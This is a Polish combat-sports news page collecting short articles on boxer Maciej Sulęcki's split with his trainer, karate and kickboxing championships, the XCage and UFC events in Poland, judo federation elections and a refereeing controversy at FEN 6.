Polski bokser wagi średniej urodzony 2 maja 1989 roku w Warszawie. Trenować boks zaczął w wieku 11 lat. Jest wychowankiem Romana Misiewicza ze stołecznej Gwardii Warszawa.  Jako amator stoczył 140 walk, z których wygrał 110 razy. Trzykrotnie zdobył tytuł Mistrza Polski juniorów. 19 czerwca 2010 roku zadebiutował na zawodowych ringach pokonując Adama Gawlika przez nokaut w pierwszej rundzie.  18 sierpnia 2010 roku w Międzyzdrojach wygrał przez jednogłośną decyzje sędziów z Łotyszem Andrejsem Loginowsem. Pierwszym poważnym sprawdzianem dla Macieja było starcie z byłym mistrzem wagi półśredniej Ukraińcem Jurijem Nużnienką, którego pokonał na punkty.  23 lutego 2013 roku zmierzył się z niepokonanym Polakiem Robertem Świerzbińskim. Sulęcki wygrał po zaciętym pojedynku na punkty. W pojedynku wieczoru gali Ełk Boxing Night, pokonał na punkty Łukasza Wawrzyczka zdobywając tytuł mistrza RP. Była to pierwsza walka pod okiem trenera Andrzeja Gmitruka. 1 marca 2014 roku w Suwałkach pokonał jednogłośnie na punkty reprezentanta Francji Howarda Cospolite. 10 maja 2014 roku pokonał Francuza Nicolasa Diona, zdobywając pas międzynarodowego mistrza RP wagi super średniej. 8 listopada 2014 roku Sulęcki pokonał byłego mistrza Europy Grzegorza Proksę.  W lutym 2015 roku podpisał kontrakt z Amerykańskim promotorem Alem Haymonem.

Koniec zamieszania wokół Sulęckiego

Relacja Macieja Sulęckiego i Andrzeja Gmitruka była powszechnie znana. Była, gdyż już nie jest. Panowie zakończyli współpracę, jednak okoliczności rozstania odbyły się w nerwowej atmosferze.

Gmitruk trenował Sulęckiego, był wsparciem dla pięściarza i swego rodzaju drogowskazem. Ostatnim wspólnym sukcesem mistrza i ucznia była wygrana podczas listopadowej gali Polsat Boxing Night z Grzegorzem Proksą. Popualrny „Striczu” znokautował w siódmej rundzie byłego mistrza Europy. Sulęcki trenował pod okiem Andrzeja Gmitruka i Pawła Kłaka, jednak chciał się dalej rozwijać i walczyć o najwyższe cele. Oczywiście jest to naturalne, jak najbardziej zrozumiałe. Sulęcki zdecydował podpisać się kontrakt z Alem Haymonem,Sferis KnockOut Promotions i Warriors Boxing. Zawodnik wybrał opcję rozwoju oraz nowych możliwości.

Na tym polu niedomówień między trenerem, a bokserem być nie może. Jasne jest, że Sulęcki, który jest niepokonany na zawodowym ringu dąży do jak najlepszego wykorzystania własnych umiejętności. Pięściarz liczył, że w dalszym rozwoju będzie mógł liczyć na pomoc trenera Gmitruka. Kością niezgody stała się sama informacja. Gmitruk dowiedział się o wszystkim po fakcie. Ponadto, zdaniem trenera umowa nie była precyzyjna – nie wskazywała, kto odpowiada za określony zestaw zadań. W myśl ustaleń Gmitruk został zwolniony z opłat za przygotowania zawodnika i sparingpartnerów, a za pracę z pięściarzem miał nie pobierać wynagrodzenia. Wokół sytuacji wybuchła prawdziwa burza, w której uczestniczyli Gmitruk, Sulęcki oraz osoby współpracujące z najlepszym polskim bokserem wagi średniej.

Wedle trenera styl zachowania pięściarza był nie do zaakceptowania. Gmitruk nie mógł si ę pogodzić z tym, że Sulęcki podjął taką decyzję, wedle szkoleniowca niekorzystną. Pojawiły się głosy, że trener nie mógł się pogodzić z sytuacją, gdyż uderzała ona w jego interesy. Gmitruk nadal chciał być trenerem oraz współpromotorem Sulęckiego. Dochodziło do absurdalnych sytuacji, w których trener prosił zawodnika, aby ten opuścił salę treningową. Brak dialogu stał się podstawą licznych nieporozumień, niedomówień, co świadczy o braku odpowiedzialności w regulowaniun kwestii na poziomie formalnych. Prezentowana sytuacja wygląda mało profesjonalnie. Dodatkowe zamieszanie niczemu nie służyło, a wręcz przeciwnie zaszkodziło i pokazało pewne ułomności w drodze poszukiwania kompromisu.

Wydaje się, że całą sprawę kończy oświadczenie Sulęckiego. Bokser potwierdza, że współpraca z Gmitrukiem została zakończona, jednak potwierdza, iż liczył na kontynuację treningów. Ponadto, Sulęcki wyraził podziękowania dla trenera za wkład włożony w jego rozwój, poświęcony czas i uwagę. Teraz przed Sulęckim kolejny rozdział w zawodowej karierze. 24 kwietnia „Striczu” stoczy pojedynek w USA. W kontekście pojedynku pojawiło się nazwisko Scotta Sigmona jako potencjalnego rywala najlepszego polskiego boksera wagi średniej. Całą sprawą zajmują się promotorzy Sulęckiego – Andrzej Wasilewski i Leon Margules. Podczas kwietniowego starcia w narożniku pięściarza pojawi się nowy trener. 

KM

Warszawa czeka na karate

Rozpoczęło się wielkie odliczanie. W kwietniu w Warszawie odbędą się Mistrzostwa Europy Karate Shinyokushin 2015 (MEKS).

U podstaw karate leży podkreślenie wartości i rozwój duchowy. Z jednej strony istotą jest doskonalenie się, ale warto podkreślić element walki parterowej. W środowisku karate nadal trwa dyskusja, co do zasad, które mogłyby umożliwić popularyzację dyscypliny. Głównie tyczy się to formuły rozumianej w kategoriach sportu z elementami samoobrony. Bez wątpienia karate jest dyscypliną, która ma wartość. Należy podkreślić, że powstała na gruncie judo i charakteryzuje się systemem mistrz – uczeń. To niezwykle istotny znak, który uwydatnia szczególny charakter karate.

Polscy fani sportów walki z bliska będą mogli poznać karate shinyokushin. Z pewnością warto zgłębić wiedzę na temat tej dyscypliny i zainteresować nią najmłodszych. Mistrzostwa Europy karate shinyokushin odbędą się w dniach 17 – 18 kwietnia na warszawskim Torwarze. Pierwszego dnia organizatorzy zaplanowali eliminacje i finały w kategorii juniorów. Lista zawodników jest zamykana i w najbliższych dniach powinniśmy poznać personalia tych, którzy będą walczyć na warszawskim Torwarze. Drugiego dnia zawodów zaplanowano rywalizację seniorską.

Kilka słów o organizatorze. Zaszczyt ten przypadł Bielańskiemu Klubowi Karate Kyokusihn, dla którego jest to ogromne wyróżnienie. Istnieje on od 1992 roku, a jego założycielami są Mariusz Mazur i Andrzej Niedzielski – wybitni trenerzy i instruktorzy. Europejska Organizacja Karate obdarzyła Polską Federację Karate Shinkyokushin ogromnym zaufaniem. Z pewnością warto podkreślić fakt, że impreza tej rangi zostanie zorganizowana w Polsce. Dodatkowo w tym roku będą miały miejsce również Mistrzostwa Świata Open, które odbędą się w Tokio. W karate czas wielkich imprez.

Wedle przypuszczeń w zawodach weźmie udział około 300 zawodników z 26 krajów. Po raz kolejny dzięki sportom walki Polska, w tym przypadku szczególnie Warszawa, ma okazję do promocji i pokazania własnej kultury oraz możliwości udźwignięcia ciężaru organizacji imprezy rangi mistrzowskiej. Istotne jest wsparcie dla organizatora z ośrodków zewnętrznych. Patronat nad imprezą objęli Prezydent Miasta st. Warszawy, pani Hanna Gronkiewicz-Waltz, Ministerstwo Sportu i Turystyki oraz Ambasada Japonii w Polsce.

Mistrzostwa Europy Karate Shinyokushin 2015 są okazją do promocji Polski, ale także karate w Polsce. Do odkrycia jego głębi, potencjału oraz wartości. Rzecz jasna, że ta sztuka walki kojarzy się nam z kręgami japońskim, jednak w naszej kulturze nigdy nie przebiła się do szerszej świadomości. Zdarza się, że w szkołach swoje filie tworzą kluby karate, które chcą w ten sposób zachęcić do treningu dzieci. 17 – 18 kwietnia będą szczególną okazją aby przyjrzeć się zmaganiom zawodników karate na najwyższym poziomie. Warto wykorzystać tę szansę i poznać dyscyplinę z bliska. Wtedy być może dokonamy hierarchii, będziemy mieli szersze spojrzenie na sporty walki i w sposób obiektywny ocenimy ich wartość. Polska dostała szansę od Europejskiej Organizacji Karate, niech ją jak najlepiej wykorzysta dla siebie i dla rozwoju dzieci oraz młodzieży.

KM

 

Trybson napędza machinę XCage

Fakt, że Paweł Trybała wystąpi na gali XCage 7 wzbudza ogromne zainteresowanie. Organizacja wykorzystuje wizerunek „Trybsona”, co ma służyć popularyzacji marki. Gala odbędzie się 13 marca w Toruniu.

Kolejne emocje na polskiej arenie mieszanych sztuk walki. Organizacja XCage stawia kolejny krok na drodze popularyzacji swojego produktu. Do gali pozostały godziny, na horyzoncie nie widać żadnych przeszkód. – Przygotowania do gali idą zgodnie z planem. Właśnie wkroczyliśmy w ostatni etap promocyjny i zainteresowanie galą jest coraz większe – powiedział FighTime.pl Paweł Skórzewski z XCage.

W ostatniej chwili pojawiły się trudności związane z walką wieczoru. Z powodu kontuzji z udziału w gali musiał zrezygnować czołowy zawodnik. W walce wieczoru zaprezentuje się Adrian Zieliński, który nie znalazł pogromcy od sześciu pojedynków. Początkowo polski fighter miał się zmierzyć z Rustamem Khasanovem, jednak Rosjanin wypadł z gali z powodu kontuzji. Zieliński stoczy pojedynek z Litwinem Viktorem Tomaseviciem. Obaj panowie mieli już przyjemność spotkać się ze sobą w 2012 roku, jednak w tamtym przypadku w lepszym nastroju walkę kończył „Bandito”. W Toruniu Zieliński liczy, że uda mu się zrewanżować za wcześniejszą porażkę. Stawką pojedynku wieczoru nie będzie mistrzowski pas.

Podczas gali zaprezentuje się znany z występów w KSW Maciej Górski, który zmierzy się z Sebastianem Romanowskim. Niepokonany Michał Bacik stoczy pojedynek z Tymoteuszem Pledziewiczem. Na XCage 7 zaprezentują się również zawodnicy świetni znani z poprzednich gal organizacji m.in. Tomasz Romanowski i Kamil Roszak.

Główną uwagę skupia Paweł Trybała, znany z jednego z programów rozrywkowych. Należy oddać, że „Trybson” ma doświadczenie w sportach walki. Brał udział w zawodach, a także trenuje w klubie Rio Grappling Club Dąbrowa Górnicza.”Trybson” zmierzy się z Łukaszem Stojanowskim, który do tej pory stoczył dwa pojedynki w MMA. Organizatorzy nie ukrywają nadziei wiązanych z występem Trybały. – Angaż Pawła Trybały ma na celu przyciągnięcie na halę szerszej publiczności, która przypuszczalnie nie wybrałaby się na galę w innym przypadku. Pozostałe osiem walk z rozpiski posiada bardzo dużą wartość sportową, jednak rynek MMA jest na tyle specyficzny, że potrzebne są takie działania by wznieść się na wyższy pułap. Wychodzimy z założenia, że kibic, który przyjdzie "na Trybsona" zobaczy innych doskonałych zawodników i zainteresuje się ich walkami – mówił Skórzewski. Rodzi się pytanie o wartość sportową występu „Trybsona”, który mimo faktu trenowania sportów walki nigdy nie prezentował się na takim poziomie. – Jeżeli chodzi o samego „Trybsona” zrobił on bardzo duże postępy kondycyjne oraz techniczne. Zawodnik jest świetnie przygotowany do każde płaszczyzny walki – powiedział Skórzewski.

Czy „Trybson” spełni pokalane w nim nadzieje? Trybała stał się twarzą XCage 7 i od chwili angażu wzbudzał ogromne zainteresowanie. Z pewnością organizacja zyskała na tym działaniu, jednak teraz musi potwierdzić swoją wartość na płaszczyźnie sportowej.

 

KM

Łukasz Wichowski

Polski zawodnik Kick-Boxingu kat. -81kg (full contact) / -79kg (light contact) urodzony 10 września 1990 roku w Warszawie. Obecnie absolwent Politechniki Warszawskiej kierunku inżynieria środowiska.

Swoją przygodę z kick-boxingiem rozpoczął w 2006r trafiając do sekcji KS Nadstal prowadzonej przez Tomasza Bąka, a od 2013r trenuje pod okiem 6-krotnego Mistrza Świata Piotra Siegoczyńskiego w klubie sportowym X Fight Piaseczno. Od 2014r nawiązał współpracę z zawodową grupą DSF Kick-Boxing Team, w której jest zawodnikiem formuły full contact.

Swoją karierę sportową rozpoczynał od formuł planszowych tj. pointfighting i light contact. W formule light contact w 2009r będąc jeszcze juniorem zdobył brązowy medal w rozgrywkach seniorskich na międzynarodowym turnieju Austrian Classic w Austrii ulegając jednemu z niepokonanych dotąd Mistrzów Świata Zoltanowi Dancsowi; tego samego roku zdobył złoto na Pucharze Świata w Lignano Sabiarodo oraz brązowy medal na Mistrzostwach Świata Juniorów w Neapolu. W 2014r w tej formule zdobył także 2 puchary świata w Austrii i na Węgrzech.

Decyzja o jego startach w full contact zapadła w lutym 2014, gdzie zadebiutował na zawodowym ringu pokonując swego przeciwnika decyzją 3:0. Od tamtej pory z tą formułą wiąże większość swoich sportowych planów. Jako zawodnik grupy DSF na zawodowym ringu stoczył już 3 pojedynki, wszystkie zwyciężając przed czasem.

Największe osiągnięcia Łukasza to:

walki zawodowe:

  • DSF Kick Boxing Challenge, Włocławek Hala Mistrzów VI 2015 (full contact) – wygrana
  • DSF Kick_Boxing Challenge, Arena Ursynów IV 2015 (full contact) – wygrana
  • DSF Kick-Boxing Challenge, Piaseczno II 2015 (full contact) – wygrana
  • DSF Kick-Boxing Challenge,  Ząbki XII 2014 (full contact) – wygrana
  • DSF Kick-Boxing Challenge,  Ząbki IX 2014 (full contact) – wygrana

 

walki amatorskie:

·         I m-ce Puchar Świata Tirol – Austria 2014r (light contact -79kg)

·         I m-ce Puchar Świata Szeged – Węgry 2014r (light contact -79kg)

·         4- krotny Mistrz Polski w formule semi contact -79kg

·         4- krotny Mistrz Polski w formule light contact -79kg

·         I m-ce Polish Open Węgrów 2011r, (kick-light -79 kg)

·         I m-ce Polish Open Węgrów 2011 (semi contact -84 kg)

·         II m-ce Golden Gloves Mareno di Piave – Włochy 2009r (light contact double team z Przemysławem Ziemnickim -79 kg)

·         III m-ce Austrian Classic Tirol, Austria 2009 (light contact -79 kg)

·         I m-ce Puchar Świata Salsomaggiore – Włochy 2008r (light contact JUNIOR -79 kg)

·         III m-ce Mistrzostwa Świata Neapol – Włochy 2008 (light contact JUNIOR -79 kg)

MP low-kick: Ruta nie obronił tytułu

W Wołominie startowało zaledwie sześciu mistrzów z poprzedniego roku (dwóch panów i cztery panie). Płci pięknej udało się powtórzyć sukces, Sebastian Słoń i Kamil Ruta nie obronili tytułów.

Mistrzostwa Polski w kickboxingu w formule low-kick odbyły się w Kobyłce i Wołominie. Iwona Nieroda z Diamentu Pstrągowa w kategorii 56 kg sięgnęła po szósty tytuł z rzędu. Zdobycze z poprzednich mistrzostw obroniły również Paulina Bieć (+70 kg), Marta Waliczek (60 kg) oraz Joanna Walkiewicz (48 kg). Siódmy tytuł mistrza Polski zdobył Eliasz Jankowski, który rok temu w Bełchatowie wystartował w wyższej kategorii wagowej i musiał obejść się smakiem. W finałowym pojedynku w kategorii 63,5 kg zawodnik z Legnicy pokonał Jana Lodzika. Maciej Garbaczewski najlepszy okazał się w wadze 71 kg.

O niespodziance można mówić w licznie obsadzonej kategorii 81 kg. Kamil Ruta nie obronił tytułu mistrza Polski. Zawodnik z Kobyłki mocno rozpoczął zawody, gdyż już w pierwszej walce przed czasem wyeliminował Przemysława Nowosada. Pojedynek z Przemysławem Ziemnickim Ruta wygrał na punkty. W półfinale zmierzył się z Łukaszem Rambalskim – tak jak przed rokiem w Bełchatowie. Rywalizacja o złoto z Radosławem Paczuskim zapowiadała się pasjonująca i taka była. Ruta w drugiej rundzie musiał uznać wyższość rywala, który odebrał reprezentantowi klubu Wicher Kobyłka mistrzowski tytuł. Paczuski w półfinale miał zmierzyć się z Mikołajem Krause, jednak zawodnik Rebelii Kartuzy z powodu kontuzji wycofał się z rywalizacji. W 1/16 finału zawodnik Radość Boxing Team odprawił Mateusza Rycerskiego, następnie Tomasza Zyska.

Dobry występ Paczuskiego sprawił, że został on uznany najlepszym zawodnikiem mistrzostw Polski w formule low-kick. Wśród pań to miano przypadło Żanecie Cieśli (52 kg) z Legionu Głogów, która w finale rozprawiła się z Moniką Witkowską. Z pewnością zaskoczeniem jest fakt, że Kamil Ruta wywalczył tylko srebro. Mistrz świata z Turcji zapowiadał zdominowanie kategorii 81 kg, jednak tego planu zawodnikowi z Kobyłki nie udało się zrealizować.

Mistrzostwa Polski w kickboxingu w formule low-kick cieszyły się dużym zainteresowaniem. Trybuny były wypełnione do ostatniego miejsca. Kibice oblegali halę już od eliminacji, z chęcią obserwując zmagania zawodników. Na finały wszystkie wejściówki zostały rozprowadzone bardzo szybko. Bilety na zawody były bezpłatne, co miało przybliżyć kibiców do kickboxingu. Mistrzostwa Polski miały na celu promocję i popularyzację dyscypliny wśród jak największej rzeszy ludzi.

Zwycięzcy MP kickboxing low-kick 2015:

kobiety: Joanna Walkiewicz (48 kg, SK Kickboxing Kielce), Żaneta Cieśla (52 kg, Legion Głogów), Iwona Nieroda (56 kg, Diament Pstrągowa), Marta Waliczek (60 kg, Beskid Dragon Bielsko-Biała), Monika Kędzierska (65 kg, Sparta Chrzanów), Kamila Bałanda (70 kg, Champion Gdańsk);

mężczyźni: Łukasz Wydro (57 kg, Smok Toruń), Michał Marszał (60 kg, Golden Dragon Bydgoszcz), Eliasz Jankowski (63,5 kg, TKKF Olimp Legnica), Jarosław Daschke (67 kg, Champion Gdańsk), Maciej Garbaczewski (71 kg, TKKF Siedlce), Michal Ronkiewicz (75 kg, Gym Fight Wrocław), Radosław Paczuski (81 kg, Radość Boxing Team), Maciej Janowski (86 kg, Gym Fight Wrocław), Patryk Proszek (91 kg, Gwardia Zielona Góra), Tomasz Klimiuk (+91 kg, Human Białystok).

KM

Telewizyjna ekspansja UFC

Kibice sportów walki z Holandii będą mogli obejrzeć na żywo galę UFC, która odbędzie się w Krakowie. Najpopularniejsza organizacja mieszanych sztuk walki na świecie podpisała umowę ze spółką Erevisie Media & Marketing.

Tym samym UFC będzie pokazywane w Holandii na ogólnodostępnym kanale Fox oraz płatnym Fox Sports. Debiut nastąpi już 9 marca, kiedy to odbędzie się emisja programu UFC Unleashed na Fox Sports. Z kolei 21 marca na antenie kanału Fox zadebiutuje popularny "The Ultimate Fighter", który będzie pokazywany co tydzień. Ponadto, stacje mają transmitować gale UFC.

Pytanie: czy polski widz odniesie korzyść z tego faktu? W Polsce grupa Erevisie Media & Marketing posiada dwa kanały Fox i Fox Live. Na polskim rynku nie ma jeszcze stacji Fox Sports, która w głównej mierze odpowiadać będzie za trasmitowanie wydarzeń związanych z MMA. Jednakże nie można pomijać drugiego z kanałów. Fox również będzie transmitował imprezy UFC na żywo i pierwszym wydarzeniem, które pokaże będzie gala z Polski. Czy polscy kibice mieszanych sztuk walki będą mogli ją zobaczyć na antenie? Jednoznacznie nie można tego stwierdzić. Fox w swojej ofercie proponował widzom spotkania koszykarskiej Euroligi, jednak nie spotkały się one z większym zainteresowaniem. Z pewnością gala UFC, dodatkowo mająca miejsce w Krakowie, przyciągnęłaby widzów przed ekrany. Jednak wszystko zależy od stacji. Również debiut gali UFC na kanale Fox Sports będzie miał polski akcent. 14 maraca kanał pokaże walki z Dallas. Podczas UFC 185 w pojedynku o mistrzowski pas wagi słomkowej zaprezentują się Joanna Jędrzejczyk i Carla Esparza. Dodatkowo podczas gali w Dallas wystąpią figterzy z Holandii: Alistair Overeem oraz Germain Randamie.

UFC chce dotrzeć ze swoim produktem do jak największej ilości odbiorców. Marka, która znana jest na całym świecie może dyktować warunki gry, ale powinna również trzymać rękę na pulsie. Wymagania widza wzrastają i oczekuje on prawdziwego widowiska. Podpisanie umowy ze spółką Erevisie Media & Marketing jest dla UFC kolejnym punktem na drodze do podboju europejskiej areny. Jednakże, czy widz ze Starego Kontynetu będzie za wszelką cenę chciał oglądać gale amerykańskiej organizacji? Europejskie organizacje starają się dostarczyć kibicom widowisk najwyższych „sportowych lotów”. Przewaga UFC polega na tym, że stała się najbardziej rozpoznwalną marką o ogromnym zasięgu. Stopniowo chce rozbudowywać swoją strukturę, aby ugruntować swoją pozycję. UFC przyciąga najlepszych zawodników, którzy wznoszą się na wyżyny swoich umiejętności.

MMA się rozwija. Pojawiają się nowe organizacje, które odkrywają talenty i szlifuję je na prawdziwe diamenty. Potencjalny widz sportów walki ma coraz większe wymagania i potrafi odróżnić dobrą walkę od słabej. Niekiedy gale UFC sprowadzają się jedynie do pojedynku wieczoru, wcześniejsze starcia nie mają w sobie żadnej nudy ciekawości, nie przyciągają uwagi. Kibic europejski ma inne podejście od amerykańskiego. Fakt, że UFC organizuje gale w różnych krajach, a teraz podpisało umowę z kolejną telewizją musi rówież powodować rozwój organizacji. Rozwój biznesu musi iść w parze z rozwojem produktu.

KM

zdj. Getty Images

Kownacki przejął ster w judo

Sławomir Kownacki decyzją delegatów został wybrany nowym prezesem Polskiego Związku Judo. Tym samym kończy się okres urzędowania kuratora Mariusza Radziewskiego. Stery w związku przyjmuje Kownacki, który będzie dążył do obudowy wizerunku judo.

Powołanie kuratora wzbudziło zainteresowanie dyscypliną, ale w sensie negatywnym. Wizerunek Polskiego Związku Judo ucierpiał, gdyż wytworzył się obraz nieładu, zamieszania oraz licznych nieprawidłowości. Powodem wprowadzenia kuratora były nieprawidłowości przy wyborze władz w 2012 roku. Za sytuację obwiniano byłego już prezesa Wiesława Błacha, który miał ubiegać się o reelekcję, ale ostatecznie zrezygnował ze startu. Działania kuratora miały dążyć do naprawy sytuacji. Kryzys dobiega więc końca wraz z wyborem nowego prezesa. Sławomir Kowancki ma za zadanie odbudowanie wizerunku związku, naprawienie relacji z Ministerstwem Sportu i Turystyki oraz przywrócenie judo właściwej pozycji w sportowej hierarchii.

Nowy prezes otrzymał 119 głosów (53% poparcia), za nim uplasowali się Juliusz Kowalczyk – 80 głosów oraz Michał Adamiec -25 głosów. Kownacki w przeszłości był zawodnikiem AZS AWF Wrocław. Odnosił sukcesy na poziomie juniorskim, na płaszczyźnie seniorskiej zdobywał tytuły mistrza Polski w drużynie. Ponadto, Kowancki jest uznanym sędzią judo. W 1979 roku zdobył uprawnienia sędziowskie, w 1999 roku stał się arbitrem kontynentalnym.

Kownacki jako prezes chce obudować pozycję judo. Nowy sternik PZJudo liczy na kontynuację dobrej dyspozycji naszych zawodników i medal olimpijski w Rio de Janeiro. Kownacki zwraca uwagę na konieczność rozwoju dyscypliny poprzez wprowadzenie judo do programu realizacji w szkołach. Istotne jest również oddłużenie związku oraz poprawa relacji z Ministerstwem Sportu i Turystki, a także dostosowanie statutu do wymogów ministerialnych. Celem Kownackiego jest konsolidacja środowiska judo i zaniechanie podziałów. Nowy prezes chce działać dla dobra dyscypliny, aby odzyskała ona należną pozycję i rozwijała się.

Zadań przed nowym prezesem jest wiele. 52-letni Kownacki musi odbudować wizerunek związku w oczach społeczeństwa, który w wyniku wydarzeń ostatnich miesięcy wyraźnie ucierpiał. Z pewnością pomogą w tym dobre występy polskich judoków. Nasi reprezentanci prezentują wysoką formę. Maciej Sarnacki wygrał Puchar Świata w Warszawie, na początku sezonu z dobrej strony pokazały się Agata Perenc i Katarzyna Furmanek. Kapitał sportowy w judo jest ogromny i wiadomo, co jest celem. Rzecz jasna – igrzyska olimpijskie w Rio de Janeiro. Jednakże  należy poczynić kroki w ustabilizowaniu i ustaleniu linii szkoleniowej w Polsce. Konieczne jest zbudowanie właściwej struktury szkolenia, która umożliwi odkrycie nowych mistrzów w postaci następców Pawła Nastuli i Anety Szczepańskiej. Ministerstwo będzie bacznie obserwowało PZJudo, więc tę relację należy budować w oparciu o zaufanie oraz zgodną współpracę. Przed nowym prezesem wiele pracy. Judo posiada kapitał sportowy, który należy wykorzystać, a w związku wprowadzić  spokój – niezbędny w obecnej sytuacji.

KM

Niedopuszczalne chwile grozy

Gala Fight Exclusive Night 6 we Wrocławiu dostarczyła wielu emocji, ale zrodziła jeszcze więcej pytań. Gdzie jest granica dobrego smaku? Czy zdrowie i życie nie są najważniejszymi wartościami?

Otóż są i to bez wątpliwości. Kwestią fundamentalną jest odpowiedzialność i zachowanie zdrowego rozsądku. Podczas gali FEN 6 Victor Marinho i Tymoteusz Świątek zmierzyli się w pojedynku o mistrzowski pas wagi koguciej. Portugalczyk zdominował polskiego fightera i niemiłosiernie go okładał mocnymi ciosami. Pojedynek zakończył się w piątej rundzie, a powinien zdecydowanie wcześniej.

Już w pierwszej odsłonie Marinho mocno naruszył Świątka. Potężnymi ciosami trafiał w głowę Polaka, rozciął mu łuk brwiowy. Świątek oszołomiony wrócił do narożnika, jednak chwila oddechu na niewiele się zdała. W dalszej części pojedynku Polak miał problemy z utrzymaniem gardy, a Portugalczyk nie ustawał w natarciu i niezliczoną liczbę ciosów słał na głowę coraz słabszego przeciwnika. Świątek ledwo trzymał się na nogach, lecz dotrwał do piątej rundy. Trudne do zrozumienia jest, że sędzia pozwolił, aby zawodnik w takim stanie kontynuował walkę. W piątej rundzie Świątek został znokautowany. Zawodnik padł na deski i był długo reanimowany. Do takich sytuacji dochodzić nie może.

Czy wszystko za cenę widowiska? Zawodnicy stawiają na szali swoje zdrowie i życie, ale toczą rywalizację w obecności  rozjemcy, czyli sędziego, który powinien racjonalnie oceniać dyspozycję fighterów. Obserwując Świątka powinien zareagować. Polak słaniał się na nogach, nie był w stanie nawiązać równorzędnej walki z Marinho. Dlaczego sędzia nie zareagował? Bo był pod presją? Marne wytłumaczenie. Rolą sędziego jest panowanie nad sytuacją w ringu i nie dopuszczanie do sytuacji krytycznych. Fakt, że czasami w ferworze walki jeden cios stawia na szali życie i zdrowie, jednak w przypadku Świątka „egzekucja” trwała kilka rund. Walkę mógł przerwać narożnik zawodnika, jednak ręcznik nie został rzucony. Trener powinien reagować. Skoro kontakt z zawodnikiem jest utrudniony, widać, iż jest on półprzytomny to jak można pozwolić, aby kontynuował pojedynek?

Warto zastanowić się jak można było dopuścić do sytuacji, w której publiczność musiała patrzeć na męczarnie zawodnika. Dodatkowo ludzie krzyczeli, machali rękoma, aby coś zrobić. Zero reakcji. Zawiódł sędzia, zawiódł narożnik Świątka. Być może zawodnik chciał walczyć, ale pod wpływem adrenaliny bądź uporu, ambicji człowiek nie dopuszcza możliwości poddania się. Jednak powinien mieć oparcie w innych podmiotach. Ktoś ten pojedynek kontrolował, ktoś go obserwował, ktoś miał go prawo przerwać. Mimo to trwała walka, w której Świątek zbierał kolejne ciosy aż padł nieprzytomny.

Zawodnik został przewieziony do szpitala, jego życiu nie zagraża niebezpieczeństwo. Z pewnością Światka czeka kilkudniowy okres regeneracji, badań i dochodzenia do pełnej sprawności. Należy podjąć temat określenia, co jest istotą walki. Czy wzajemne obijanie się do nieprzytomności? Chyba nie. Chodzi o widowisko, które ma mieć smak i uwzględniać zasadę poszanowania zdrowia i życia.

KM

Fabiński zastąpi Jotkę

Bartosz Fabiński wystąpi podczas gali UFC w Polsce. Polski fighter podpisał kontrakt z najlepszą organizacją mieszanych sztuk walki na świecie.

Pierwszy pojedynek w UFC i od razu przed własną publicznością – to jest coś. Fabiński zadebiutuje w barwach najlepszej organizacji mieszanych sztuk walki w wyjątkowych warunkach. Po pierwsze, gdyż będzie walczył w ojczyźnie. Po drugie, w Krakowie zastąpi  Krzysztofa Jotkę. Bartosz Fabiński zmierzy się z Garrethem McLellanem.

Krzysztof Jotko w Krakowie nie zaprezentuje się z powodu kontuzji. W trakcie jednego z treningów zawodnik nabawił się kontuzji lewej ręki, co uniemożliwia mu start. Zastanawiano się, kto zastąpi Jotkę podczas UFC w Polsce. Pojawiło się nazwisko Fabińskiego, jednak początkowo nie była to pewna informacja. Teraz jest już pewne – kolejny Polak podpisał umowę z UFC.

28-letni zawodnik wywodzi się z judo. Pierwszą walkę w MMA stoczył w listopadzie 2011 roku, kiedy podczas Fight Cup: Battle of Warsaw pokonał Roberta Białoszewskiego. Obecnie jest mistrzem PLMMA w wadze średniej. Należy dodać, że Fabiński toczył pojedynki również w połśredniej. Warszawianin ma dobrą passę – wygrał cztery kolejne walki. Ostatni pojedynek stoczył w październiku ubiegłego roku, kiedy podczas gali w Estonii pokonał Alika Tseiko. Fabiński w swojej karierze przegrał dwa pojedynki. Co ciekawe, jednym z jego pogromców był Marcin Bandel, który również zaprezentuje się podczas UFC w Krakowie.

 Karta walk polskiej gali jest już w całości znana. W pojedynku wieczoru wystąpią Mirko Filipović i Gabriel Gonzaga. Emocjonujące powinno być kolejne starcie Jana Błachowicza. „John” miał mocne wejście do UFC i zamierza dalej budować swoją pozycję w strukturach organizacji. W Krakowie na jego drodze stanie Jimi Manuwa. Ciekawie zapowiada się starcie Peter Sobotta vs Sergio Moraes. W Krakowie szansę zaprezentowania dostaną Marcin Bandel oraz Paweł Pawlak, dla których będzie to okazja do przełamania złej passy. Trzecią walkę w UFC stoczy 32-letni Daniel Omieliańczuk. Polak będzie chciał się zrehabilitować w oczach włodarzy organizacji. Omieliańczuk przegrał z Jardem Rosholtem podczas UFC Fight Night Minotauro vs Nelson. Polak wraca do zmagań po dłuższej przerwie spowodowanej kontuzją kciuka. W Krakowie Omieliańczuk stanie naprzeciw Anthony’ego Hamiltona. Podczas UFC w Polsce zaprezentuje się Claudia Gadelha, która przegrała z Joanną Jędrzejczyk. Polską płeć piękną w Krakowie reprezentowała będzie Izabela Badurek. Nasza zawodniczka wystąpi w rywalizacji z Aleksandrą Albu.

UFC w Polsce już 11 kwietnia. Czasu coraz mniej. Koszt wejściówek waha się w przedziale 100 – 2500 zł. Z tym, że te najtańsze są obecnie niedostępne. Bilet na trybunę kosztuje od 200 do 600 zł, na płytę cena wynosi 600 – 1500 zł. Za wejściówkę Ultimate Fan Package trzeba zapłacić 2500 zł, ale gwarantuje ona m.in. możliwość wejścia na ceremonię ważenia czy też zwiedzanie oktagonu.

KM

Mistrzowskie zmagania w formule low-kick

W Kobyłce i Wołominie odbędą się mistrzostwa Polski seniorów w kickboxingu w wersji low-kick. O tytuły powalczą zdobywcy medali na największych imprezach, ale kilku gwiazd zabraknie.

Zawody zaplanowano na trzy dni – od 6 do 8 marca. Na początek zaplanowano weryfikację i ważenie zawodników. W przypadku dużej liczby zgłoszeń już pierwszego dnia rozpoczną się walki eliminacyjne, które w głównej mierze zaplanowane są na sobotę. Rywalizacja wstępna odbędzie  się w Kobyłce, zaś niedzielne finały w Wołominie.

